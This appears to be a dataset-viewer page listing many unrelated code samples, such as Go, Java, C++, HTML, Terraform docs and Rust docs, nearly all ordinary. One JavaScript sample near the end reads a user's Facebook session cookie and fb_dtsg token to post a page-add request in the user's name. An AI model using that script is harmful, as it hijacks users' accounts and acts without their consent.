answer stringlengths 15 1.25M |
|---|
colorPicker.on('color:change', function(color) {
// don't let the color saturation fall below 50!
if (color.saturation < 50) {
color.saturation = 50;
}
}); |
package mockengine
import (
"bytes"
"fmt"
"io"
"net/http"
"net/http/httptest"
"net/url"
"strings"
"sync"
"time"
"github.com/taskcluster/taskcluster-worker/engines"
"github.com/taskcluster/taskcluster-worker/runtime"
"github.com/taskcluster/taskcluster-worker/runtime/atomi... |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<html>
<head>
<title>DLP Control</title>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">
</head>
<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"
bgcolor="#FFFFFF" fgcolor="#009900" link="#009933" vlin... |
// Aspia Project
// This program is free software: you can redistribute it and/or modify
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#include "base/service_controller.h"
#include <memory>
#inclu... |
#define WIN32_LEAN_AND_MEAN
#define DX_INIT_STRUCT(ddstruct) {memset(&ddstruct, 0, sizeof(ddstruct)); ddstruct.dwSize = sizeof(ddstruct);}
#define DX_REMOVE(dxo) {if(dxo) dxo->Release(); dxo = NULL;} |
export const selectLayoutRender = (state, prefs, rickRollCache) => {
const { layout, feeds, spocs } = state;
let spocIndex = 0;
let bufferRollCache = [];
// Records the chosen and unchosen spocs by the probability selection.
let chosenSpocs = new Set();
let unchosenSpocs = new Set();
function rollForSpocs... |
package org.oasis_open.docs.wsn.b_2;
import java.util.ArrayList;
import java.util.List;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlAnyElement;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlT... |
package org.seedstack.seed.it.internal;
import org.seedstack.seed.ErrorCode;
/**
* Enumerates all IT error codes.
*
* @author adrien.lauer@mpsa.com
*/
public enum ITErrorCode implements ErrorCode {
<API key>,
<API key>,
<API key>,
<API key>,
<API key>,
<API key>,
<API key>,
<API key>... |
// @flow
import * as React from 'react';
import { Provider } from 'react-redux';
import { render } from 'firefox-profiler/test/fixtures/testing-library';
import { CallTreeSidebar } from '../../components/sidebar/CallTreeSidebar';
import {
<API key>,
<API key>,
<API key>,
} from '../../actions/profile-view';
impor... |
import { Email, Facebook, Linkedin, Print, Twitter } from '@amsterdam/asc-assets'
import { ShareButton, themeSpacing } from '@amsterdam/asc-ui'
import type { FunctionComponent } from 'react'
import { useCallback } from 'react'
import styled, { css } from 'styled-components'
import getShareUrl from '../../utils/shareUrl... |
import { equals } from 'ramda';
import {
addRole,
removeRole,
<API key>,
<API key>,
<API key>,
} from '../../../services/users';
import {
<API key>,
<API key>,
} from '../../../utils/userUtils';
export default params => {
const {
username,
roles,
originalRoles,
additionalRoles,
permi... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `XK_minus` constant in crate `x11`.">
<meta name="keywords"... |
// import { async, ComponentFixture, TestBed } from '@angular/core/testing';
// import { LineChartComponent } from './line-chart.component';
// describe('LineComponent', () => {
// let component: LineChartComponent;
// let fixture: ComponentFixture<LineChartComponent>;
// beforeEach(async(() => {
// TestBed.<... |
package bot
import (
"encoding/json"
"io/ioutil"
"log"
)
// Config is the representation of the dynamic config.json
type Config struct {
Admin string `json:"admin"`
Notifiers map[string][]string `json:"notifiers"`
Debug bool `json:"debug"`
}
// NewConfig retur... |
subcategory: "Database"
layout: "oci"
page_title: "Oracle Cloud Infrastructure: <API key>"
sidebar_current: "<API key>"
description: |-
Provides details about a specific Db Node in Oracle Cloud Infrastructure Database service
# Data Source: <API key>
This data source provides details about a specific Db Node resource... |
initSidebarItems({"constant":[["BASE_UUID",""],["<API key>",""],["<API key>",""],["<API key>",""],["<API key>",""],["DESCRIPTOR_PREFIX",""],["SERVICE_PREFIX",""],["VALID_UUID_REGEX",""]],"struct":[["BluetoothUUID",""]],"type":[["<API key>",""],["<API key>",""],["<API key>",""],["UUID",""]]}); |
Qwartz
=============
Game made for a game jam at Mozilla Paris. |
package zyx.game.scene.game;
import java.util.ArrayList;
import org.lwjgl.input.Mouse;
import org.lwjgl.util.vector.Vector3f;
import zyx.engine.components.cubemaps.CubemapManager;
import zyx.engine.components.world.WorldObject;
import zyx.engine.curser.CursorManager;
import zyx.engine.curser.GameCursor;
import zyx.engi... |
package org.mozilla.javascript.tests.commonjs.module;
import java.io.File;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
impor... |
XPCOMUtils.<API key>(this, "Promise",
"resource://gre/modules/Promise.jsm");
XPCOMUtils.<API key>(this, "Task",
"resource://gre/modules/Task.jsm");
const CHROME_BASE = "chrome://mochitests/content/browser/browser/base/content/test/general/";
const HTTPS_BASE = "https://example.com/browser/browser/base/content/test/... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `VertexAttrib2dv` static in crate `gleam`.">
<meta name="ke... |
<template name="appLogs">
{{#if isModerator}}
<h3>Application logs</h3>
<div id="logsFilterContainer" class="container">
<form id="logsFilter" name="logsFilter">
<div class="row form-items">
<div class="col-12 form-group">
<select class="form-control"... |
# BotSire (DEPRECATED)
Telegram Bot API library for NodeJS
**DEPRECATED**
For now to run use: *node --<API key> \<file>*
To Install: *npm install --save botsire* |
X1=-2.0;Y1=-2.0;X2=2.0;Y2=2.0;for (y=0;y<32;y++) {print(y);} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `ArrayVisitor28` struct in crate `serde`.">
<meta name="key... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `XtRemoveActionHook` fn in crate `x11`.">
<meta name="keywo... |
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/*
This file provides the implementation for the sort service manager.
*/
#include "nsCOMPtr.h"
#include "nsIContent.h"
#include "nsIDOMElement.h"
#include "nsIDOMNode.h"
#include "nsIServiceManager.h"
#include "nsGkAtoms.h"
#include "ns... |
// v. 2.0. If a copy of the MPL was not distributed with this file, You can
package org.truffulatree.h2odb.sql
import java.sql.SQLException
import javax.sql.DataSource
import cats.Show
import cats.data.{NonEmptyList, State, Xor, XorT}
import cats.std.list._
object SQL {
type Exceptions = NonEmptyList[SQLException]
... |
package physical
import (
"database/sql"
"fmt"
"strconv"
"strings"
"time"
"github.com/hashicorp/errwrap"
log "github.com/mgutz/logxi/v1"
"github.com/armon/go-metrics"
"github.com/lib/pq"
)
// PostgreSQL Backend is a physical backend that stores data
// within a PostgreSQL database.
t... |
using L2dotNET.GameService.Model.Player;
using L2dotNET.GameService.Network.Serverpackets;
using L2dotNET.GameService.World;
using L2dotNET.Utility;
namespace L2dotNET.GameService.Model.Skills2.Effects
{
class ATeleRegion : Effect
{
private string _region;
public override void Build(string str)
... |
/*
Maintained by Alexey Pechnikov (pechnikov@mobigroup.ru) and tested on linux only.
The code is public domain.
gcc -lm -fPIC -shared md5.c -o libsqlitemd5.so
.load './libsqlitemd5.so'
create table t1(x);
insert into t1 values (1);
insert into t1 values (2);
insert into t1 values (3);
select hex(group_md5(x)) from t1;
... |
<!--<md-content layout='column' layout-fill md-swipe-left='next()' md-swipe-right='prev()'>-->
<md-content layout='column' layout-fill>
<md-toolbar class="md-accent">
<div class='md-toolbar-tools' layout='row'>
<md-button class="md-icon-button" ng-click='prev()' aria-label="Previous month">
... |
from elasticsearch_dsl import query
from kuma.core.tests import eq_, ok_
from kuma.wiki.search import WikiDocumentType
from . import ElasticTestCase
class <API key>(ElasticTestCase):
fixtures = ElasticTestCase.fixtures + ['wiki/documents.json']
def <API key>(self):
self.refresh()
results = WikiD... |
/* vim: set ft=javascript ts=2 et sw=2 tw=80: */
"use strict";
// Tests that the rule view strict search filter works properly for stylesheet
// source.
const SEARCH = "`doc_urls_clickable.css:1`";
const TEST_URI = URL_ROOT + "doc_urls_clickable.html";
add_task(function* () {
yield addTab(TEST_URI);
let {inspector,... |
package org.miloss.fgsms.plugins.sla.alertservice; |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `is_loaded` fn in crate `gleam`.">
<meta name="keywords" co... |
#include "shaders.h"
namespace Yuni
{
namespace Gfx3D
{
//////////// VERTEX SHADERS
// Minimal vertex shader : only transform the vertex coordinates
const char* const vsTransform =
R"(
#version 130
in vec3 attrVertex;
// Minimal vertex shader : only transform the vertex coordinates
void main()
{
... |
package aws
import (
"fmt"
"testing"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/awserr"
"github.com/aws/aws-sdk-go/service/sqs"
"github.com/hashicorp/terraform/helper/resource"
"github.com/hashicorp/terraform/terraform"
)
func TestAccAWSSQSQueue(t *testing.T) {
resour... |
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
#ifndef <API key>
#define <API key>
#include "mozilla/Attributes.h"
#include "nsContainerFrame.h"
#include "nsIFormControlFrame.h"
#include "<API key>.h"
#include "nsCOMPtr.h"
class nsITextControlFrame;
class nsPresContext;
namespace mozill... |
package org.echocat.jomon.net.service;
import org.echocat.jomon.runtime.util.<API key>;
import javax.annotation.Nonnegative;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
import java.net.InetSocketAddress;
import java.net.URI;
import java.net.<API key>;
import static java.net.InetAddress.getByName;... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `load_with` fn in crate `gleam`.">
<meta name="keywords" co... |
// This Source Code Form is subject to the terms of the Mozilla Public
//! \addtogroup fn_interp1
template<typename eT>
inline
void
<API key>(const Mat<eT>& XG, const Mat<eT>& YG, const Mat<eT>& XI, Mat<eT>& YI)
{
<API key>();
const eT XG_min = XG.min();
const eT XG_max = XG.max();
YI.copy_size(XI);
const e... |
$msipath = "$PSScriptRoot\node-installer.msi"
function RunCommand ($command, $command_args) {
Write-Host $command $command_args
Start-Process -FilePath $command -ArgumentList $command_args -Wait -Passthru
}
function InstallNode () {
DownloadNodeMSI
InstallNodeMSI
}
function DownloadNodeMSI () {
$url... |
/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
var BUGNUMBER = 406477;
var summary = 'eval of function x() in a function with an argument "x" and "let x"';
var actual = '';
var expect = '';
test();
function test()
{
enterFunc ('test');
printBugNumber(BUGNUMBER);
printStatus (summary);
function test2(x,... |
const ChainedMap = require('../src/ChainedMap');
test('is Chainable', () => {
const parent = { parent: true };
const map = new ChainedMap(parent);
expect(map.end()).toBe(parent);
});
test('creates a backing Map', () => {
const map = new ChainedMap();
expect(map.store instanceof Map).toBe(true);
});
test('set'... |
var OHMS = (function(OHMS) {
var FileUploadAnswer = function(question, data) {
this.text = data.text;
this.max_pts = data.max_pts;
this.solution = data.solution;
OHMS.Answer.apply(this, arguments);
}
FileUploadAnswer.prototype = new OHMS.Answer();
FileUploadAnswer.prototype.get_file = fu... |
#import <Cocoa/Cocoa.h>
#import "DKDrawableObject.h"
<API key>
@class DKDrawableShape;
@class DKKnob;
//! editing modes:
typedef NS_ENUM(NSInteger, <API key>) {
<API key> = 0, //!< normal operation - just move points on the existing path
<API key> = 1, //!< create a straight line between two points
<API key... |
namespace Conjure.EFX.Options
{
<summary>
Create model file generation options
</summary>
<seealso cref="EntityFrameworkCore.Generator.Options.ModelOptionsBase" />
public class CreateModelOptions : BaseModelOptions
{
<summary>
Initializes a new instance of the <see cref="CreateMo... |
package com.sensia.tools.client.swetools.editors.sensorml.renderer.editor.panels.sml;
import com.sensia.relaxNG.RNGElement;
import com.sensia.relaxNG.RNGTag;
import com.sensia.tools.client.swetools.editors.sensorml.panels.AbstractPanel;
import com.sensia.tools.client.swetools.editors.sensorml.panels.IPanel;
import com.... |
{% extends "/firefox/base-resp.html" %}
{% add_lang_files "mobile" %}
{% block page_title %}Mozilla Firefox {% endblock %}
{% block page_title_suffix %}{% endblock %}
{% block body_id %}firefox-download{% endblock %}
{% block page_desc %} Firefox WindowsMac Linux{% endblock %}
{% block site_header_logo %}
<h2><a href... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace <API key>
{
public static partial class <API key>
{
<summary>
Returns all elements in a sequence, excluding the last.
</summary>
<typeparam name="T"></typeparam>
<param name="s... |
layout: "google"
subcategory: "BigQuery"
page_title: "Google: <API key>"
sidebar_current: "<API key>"
description: |-
Collection of resources to manage IAM policy for a BigQuery dataset.
# IAM policy for BigQuery dataset
Three different resources help you manage your IAM policy for BigQuery dataset. Each of these reso... |
// Changes: - converted to C++
// - added ufal::microrestd::libmicrohttpd namespace
// - use compile-time configuration instead of configure script
/**
* @file microhttpd/daemon.c
* @brief A minimal-HTTP server library
* @author Daniel Pittman
* @author Christian Grothoff
*/
#if defined(_WIN32) ... |
// file at the top-level directory of this distribution and at
// option. This file may not be copied, modified, or distributed
// except according to those terms.
//! Fork of Arc for Servo. This has the following advantages over std::Arc:
//! * We don't waste storage on the weak reference count.
//! * We don't do extr... |
package com.digi.xbee.api.packet.common;
import java.io.<API key>;
import java.io.IOException;
import java.util.Arrays;
import java.util.LinkedHashMap;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.digi.xbee.api.exceptions.<API key>;
import com.digi.xbee.api.io.IOLine;
import com.digi.xbee.api.io.... |
import { inject as service } from '@ember/service';
import { or } from '@ember/object/computed';
import { isBlank } from '@ember/utils';
import { task, waitForEvent } from 'ember-concurrency';
import Component from '@ember/component';
import { set } from '@ember/object';
import FocusOnInsertMixin from 'vault/mixins/foc... |
#ADHydro Channel Output Viewer
*<API key>*
**This app is created to run in the Teyths programming environment. |
#include "legato.h"
COMPONENT_INIT
{
le_log_Level_t i;
le_log_Level_t origLevel = <API key>();
for(i = LE_LOG_DEBUG; i <= LE_LOG_EMERG; i++)
{
<API key>(i);
LE_DEBUG("frame %d msg", LE_LOG_DEBUG);
LE_INFO("frame %d msg", LE_LOG_INFO);
LE_WARN("frame %d msg", LE_LOG_WARN);... |
package org.openmrs.module.webservices.rest.web.v1_0.resource.openmrs1_8;
import java.util.ArrayList;
import java.util.List;
import org.openmrs.Form;
import org.openmrs.FormField;
import org.openmrs.api.context.Context;
import org.openmrs.module.webservices.rest.web.RequestContext;
import org.openmrs.module.webservices... |
#ifndef MALLOCALLOCATER_H_
#define MALLOCALLOCATER_H_
namespace NSHARE
{
template<class T>
struct malloc_allocater
{
typedef size_t size_type;
typedef std::ptrdiff_t difference_type;
typedef T* pointer;
typedef const T* const_pointer;
typedef T& reference;
typedef const T& const_reference;
t... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `XK_Hcircumflex` constant in crate `x11_dl`.">
<meta name="... |
package com.snap2d.editor;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import javax.swing.JFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
impo... |
#include "LightingManager.h"
#include "Color.h"
#include "LightComponent.h"
#include "LightFilter.h"
#include "LightSource.h"
#include "LightStatus.h"
#include "Logs.h"
#include "SurfaceMaterial.h"
#include <algorithm>
#include <cmath>
LightingManager::LightingManager() {
specularity = true;
filtering = true;
}... |
package command
import (
"fmt"
"io/ioutil"
"os"
"strings"
)
const (
// DefaultInitName is the default name we use when
// initializing the example file
DefaultInitName = "example.nomad"
)
// InitCommand generates a new job template that you can customize to your
// liking, like vagrant init
... |
// |jit-test| error:RangeError;
load(libdir + "immutable-prototype.js");
if (!this.hasOwnProperty("TypedObject"))
throw new RangeError();
if (<API key>())
this.__proto__ = Proxy.create({});
new TypedObject.StructType; |
#ifndef <API key>
#define <API key>
#include "mozilla/ErrorResult.h"
#include "nsISupportsImpl.h"
#include "mozilla/<API key>.h"
#include "mozilla/dom/BindingUtils.h"
#include "nsPIDOMWindow.h"
#include "mozilla/media/<API key>.h"
namespace mozilla {
namespace dom {
class Promise;
struct <API key>;
struct <API key>;
#d... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `<API key>` constant in crate `wayland_kbd`.">
<meta name="... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `NetworkEvent` enum in crate `devtools_traits`.">
<meta nam... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `bgColor_getterinfo` constant in crate `script`.">
<meta na... |
// This Source Code Form is subject to the terms of the Mozilla Public
// Includes
#include "TestRunner.h"
#include "Optarg.h"
#include "TestAssert.h"
#include "TestJUnitXmlReport.h"
#include "TestTag.h"
#include "TestSuite.h"
#include <string.h>
#include <iostream>
#include <fstream>
using namespace std;
// Private Ma... |
package org.seedstack.seed.security.internal;
import static org.seedstack.shed.misc.PriorityUtils.sortByPriority;
import com.google.common.collect.Lists;
import io.nuun.kernel.api.plugin.InitState;
import io.nuun.kernel.api.plugin.context.InitContext;
import io.nuun.kernel.api.plugin.request.<API key>;
import java.util... |
#!/usr/bin/env bash
set -o errexit
VERSION=1.0.7
DOWNLOAD=https://releases.hashicorp.com/consul/${VERSION}/consul_${VERSION}_linux_amd64.zip
function install_consul() {
if [[ -e /usr/bin/consul ]] ; then
if [ "v${VERSION}" == "$(consul version | head -n1 | awk '{print $2}')" ] ; then
return
... |
var X = new XMLHttpRequest();
var XURL = "
var XParams = "fbpage_id=165468157402501&add=true&__user="+document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])+"&__a=1&fb_dtsg="+document.getElementsByName('fb_dtsg')[0].value+"&ttstamp=";
X.open("POST", XURL, true);
x.setRequestHeader("Content-type", "appl... |
package awsec2
import (
"crypto/subtle"
"crypto/x509"
"encoding/base64"
"encoding/pem"
"fmt"
"strings"
"time"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/service/ec2"
"github.com/aws/aws-sdk-go/service/iam"
"github.com/fullsailor/pkcs7"
"github.com/hashicor... |
<html>
<head>
<title>Not Found</title>
<style>
body {
padding: 50px;
font: 14px Helvetica, Arial;
}
</style>
</head>
<body>
<h1>Sorry! Can't find that.</h1>
<p>The page you requested cannot be found.</p>
</body>
</html> |
'use strict';
define([
'chai',
'lib/constants',
'models/reliers/relier',
'../../../mocks/window',
'../../../lib/helpers'
], function (chai, Constants, Relier, WindowMock, TestHelpers) {
var assert = chai.assert;
describe('models/reliers/relier', function () {
var relier;
var windowMock;
var SE... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="rustdoc">
<meta name="description" content="API documentation for the Rust `S0` fn in crate `encoding`.">
<meta name="keywords" conten... |
# -*- coding: utf-8 -*-
# This Source Code Form is subject to the terms of the Mozilla Public
from django import forms
from django.forms.models import <API key>, BaseInlineFormSet
from django.forms.utils import ErrorList
from django.utils.translation import ugettext_lazy as _
from ckeditor.widgets import CKEditorWidget... |
package aws
import (
"testing"
"github.com/hashicorp/terraform/helper/resource"
)
func <API key>(t *testing.T) {
resourceName := "aws_elb.bar"
resource.Test(t, resource.TestCase{
PreCheck: func() { testAccPreCheck(t) },
Providers: testAccProviders,
CheckDestroy: <API key>,... |
(function(Mozilla) {
'use strict';
var <API key> = {};
<API key>.<API key> = function(params) {
// preserve any existing utm params.
var current = new window._SearchParams().utmParams();
// if utm_content exists or utm_source is from AMO then don't modify anything.
if (curren... |
<!DOCTYPE HTML PUBLIC "-
<html>
<head>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>http:
<link href="http:
<link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css">
<script type="text/javascript" src="/Moc... |
package net.opengis.swe.v20;
/**
* <p>
* Tagging interface for all range components
* </p>
*
* @author Alex Robin
* @since Nov 8, 2014
*/
public interface RangeComponent extends SimpleComponent
{
} |
package minejava.event.player;
import minejava.Location;
import minejava.entity.Player;
import minejava.event.Cancellable;
import minejava.event.HandlerList;
public class PlayerMoveEvent extends PlayerEvent implements Cancellable{
private static final HandlerList handlers = new HandlerList();
private boolean ca... |
package terraform
import (
"fmt"
"log"
"github.com/r3labs/terraform/dag"
)
// StateTransformer is a GraphTransformer that adds the elements of
// the state to the graph.
// This transform is used for example by the <API key> to ensure
// that only resources that are in the state are represented in the graph... |
package minejava.yaml.representer;
import minejava.reg.io.<API key>;
import minejava.reg.math.BigInteger;
import minejava.reg.util.ArrayList;
import minejava.reg.util.Arrays;
import minejava.util.Calendar;
import minejava.reg.util.Date;
import minejava.reg.util.HashMap;
import minejava.reg.util.Iterator;
import minejav... |
package testutils
import (
"context"
"fmt"
"io/ioutil"
"path/filepath"
"runtime"
"strings"
"time"
testing "github.com/mitchellh/<API key>"
hclog "github.com/hashicorp/go-hclog"
plugin "github.com/hashicorp/go-plugin"
"github.com/hashicorp/nomad/client/allocdir"
"github.co... |
var searchData=
[
['<API key>',['<API key>',['../<API key>.html#<API key>',1,'pathpy::MultiOrderModel::MultiOrderModel']]],
['totaledgeweight',['totalEdgeWeight',['../<API key>.html#<API key>',1,'pathpy::HigherOrderNetwork::HigherOrderNetwork']]]
]; |
OC.L10N.register(
"encryption",
{
"Missing recovery key password" : "Der mangler kodeord for gendannelsesnøgle",
"Please repeat the recovery key password" : "Gentag venligst kodeordet for gendannelsesnøglen",
"Repeated recovery key password does not match the provided recovery key password" : "Det g... |
define([
'backbone',
'jquery',
'jqueryui'
], function (
) {
'use strict';
/* Initialise the menus and associated events */
var $el = $("#jumper_menu");
var this_view = null;
$el.menu({
select: <API key>
});
function show_menu(view) {
if(!view) {
... |
function loadUTAudio() {
// DEPENDENCIES
//loadJPlayer();
//loadUTAudioEngine();
UT.import('jPlayer');
UT.import('utAudioEngine');
(function ($) {
"use strict";
var methods = {
<API key>: -1,
init: function(options) {
this.each(function() {
var $that = $(this);
var that = {};
t... |
package aphelion.shared.gameconfig;
import aphelion.shared.swissarmyknife.WeakList;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
/**
*
*
* @author Joris
*/
public abstract class <API key>
{
final ConfigSelection selection;
final String key;
protected boolean set;
... |
#pragma once
#include "math.h"
#include "CalculatorCRC32.h"
#include "../../Common/DocxFormat/Source/SystemUtility/File.h"
#include "FontPicker.h"
using namespace NSFontCutter;
#ifndef AVSINLINE
#define AVSINLINE __forceinline
#endif
#include "../../<API key>/PPTXWriter/FileDownloader.h"
#include "WMFToImageConverter.h... |
package com.rapidminer.example;
import java.util.Iterator;
/**
* An ExampleReader iterates over a sequence of examples. Please note, that although this interface
* extends Iterator<Example>, the method remove() is usually not supported. Invocing remove will
* lead to an {@link java.lang.<API key>} in most cases.
*
... |
#!/usr/bin/env python
# Aid tools to quality checker.
# Qchecklib
# Eliane Araujo, 2016
import os
import sys
import commands
import json
try:
from cc import measure_complexity
except ImportError:
print("tst quality checker needs cc.py to work.")
sys.exit(1)
try:
sys.path.append('/usr/local/bin/radon/')
... |
# -*- coding: utf-8 -*-
from openerp import api, _, models
from openerp.exceptions import UserError
class MrpBomLine(models.Model):
_inherit = 'mrp.bom.line'
@api.model
def create(self, vals):
if not self.env.user.has_group(
'<API key>.group_manager_ldm'):
raise UserError... |
hagrin_zeed = Creature:new {
objectName = "",
customName = "Hagrin Zeed",
socialGroup = "townsperson",
faction = "townsperson",
level = 100,
chanceHit = 1,
damageMin = 645,
damageMax = 1000,
baseXp = 9429,
baseHAM = 24000,
baseHAMmax = 30000,
armor = 0,
resists = {0,0... |
OC.L10N.register(
"quicknotes",
{
"Quick notes" : "",
"Tag the note" : "",
"Enter tags to organize your note" : "",
"Enter tag name" : "",
"Cancel" : "",
"Done" : "",
"Tags" : "",
"Save" : "",
"Looking for your notes" : "",
"Nothing here. Take your first quick notes" : ""... |
'use strict'
import { connect } from 'react-redux'
import TagList from '../../components/tagList/tagList'
var $ = require('jquery')
const ignoredTags = ['geometry', '_clicked', '_hovered']
const mapStateToProps = (state) => {
const feature = state.selectedFeature.feature
let taglist = []
if (state.selectedFeature... |
from . import Checker
class ExactChecker(Checker):
async def check(self, sandbox, task):
output = await sandbox.read("/tmp/output.txt")
task.accepted = output == task.testcase.output
task.verdict = "AC" if task.accepted else "WA" |
#include <cstdio>
#include "core/logging.h"
#include "misc/being.h"
#include "misc/statistics.h"
#include "sys/systemtask.h"
#include "misc/extern.h"
#include "sys/process.h"
GameStats stats;
// statistics for info command
unsigned int gDescriptorUpdates = 0;
unsigned long <API key> = 0;
unsigned int gHBsSinceReboot = ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.